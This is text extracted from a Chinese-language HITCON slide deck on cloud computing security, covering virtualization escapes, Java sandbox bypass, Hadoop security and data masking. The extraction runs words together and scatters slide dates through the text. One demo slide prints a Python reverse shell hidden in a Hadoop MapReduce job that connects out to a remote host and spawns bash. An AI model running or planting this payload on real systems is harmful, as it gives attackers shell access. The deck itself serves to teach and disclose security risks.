HITCON深入浅出云计算安全PPT课件.pptx

深入浅出云计算安全 吴翰清2012 07 2020 3 21 1 WhoamI Alibabasecurity 7years 3个月 1w册 2020 3 21 2 icloud是云吗 2020 3 21 3 互联网未来的入口 2020 3 21 4 2020 3 21 5 随时随地上网改变了使用互联网的方式但这不是传统意义的云计算 2020 3 21 6 云计算的前世今生 电厂模式 UtilityComputing 网格计算 云计算 1875 巴黎 1961 麦肯锡 1990 S IanFoster 2006 Amazon 2020 3 21 7 云计算的使命 2020 3 21 8 ComputingasUtility 2020 3 21 9 两种云计算 弹性计算 海量数据计算 2020 3 21 10 弹性计算改变建站方式 2020 3 21 11 互联网的长尾用户 中小站长 创业者 运营商 政府 公安 金融 2020 3 21 12 奢侈品 变成 消费品 弹性计算冲击安全产业 销售模式 变成 互联网模式 2020 3 21 13 SecurityasaService 2020 3 21 14 结论 变革的浪潮就在眼前 2020 3 21 15 弹性计算的安全挑战 2020 3 21 16 虚拟化技术安全问题 全虚拟化 半虚拟化 操作系统级虚拟化虚拟机逃逸问题 CVE 2011 1898 D O S Hostxx 2020 3 21 17 XEN的DOS 2020 3 21 18 AppEngine的环境安全 JavasandboxPHPsandbox 语言级沙箱 系统级沙箱 2020 3 21 19 CVE 2012 0507 Attackingjavasecuritymanager 2020 3 21 20 2020 3 21 21 突破javasandbox 2020 3 21 22 弹性计算的网络安全 2020 3 21 23 海量数据计算的安全 以hadoop为例 2020 3 21 24 Map Reduce简介 2020 3 21 25 海量数据计算的安全挑战 2020 3 21 26 互联网公司使用hadoop的方式 2020 3 21 27 共享 gateway 的问题 home 2020 3 21 28 HackingHadoop 2020 3 21 29 Map Reducejob UDF 2020 3 21 30 2020 3 21 31 Stringpysh bin sh r npython c importos importsys importsocket s socket socket socket AF INET socket SOCK STREAM s connect socket gethostbyname 10 x x x 9999 s send Welcomemymaster r n os dup2 s fileno 0 os dup2 s fileno 1 os dup2 s fileno 2 s send Isthereashell r n os system bin bash s close s send Seeunexttime r n DEMO 2020 3 21 32 2020 3 21 33 如何解决隐私问题 张三京市一号胡同李四津市二号小区 2020 3 21 34 DataMasking 2020 3 21 35 保留统计信息 掩盖个人信息 张A男1330749xxxx李C女1346665yyyy 北京市ABCD胡同43010419990909MMM1天津市EFGH小区4201051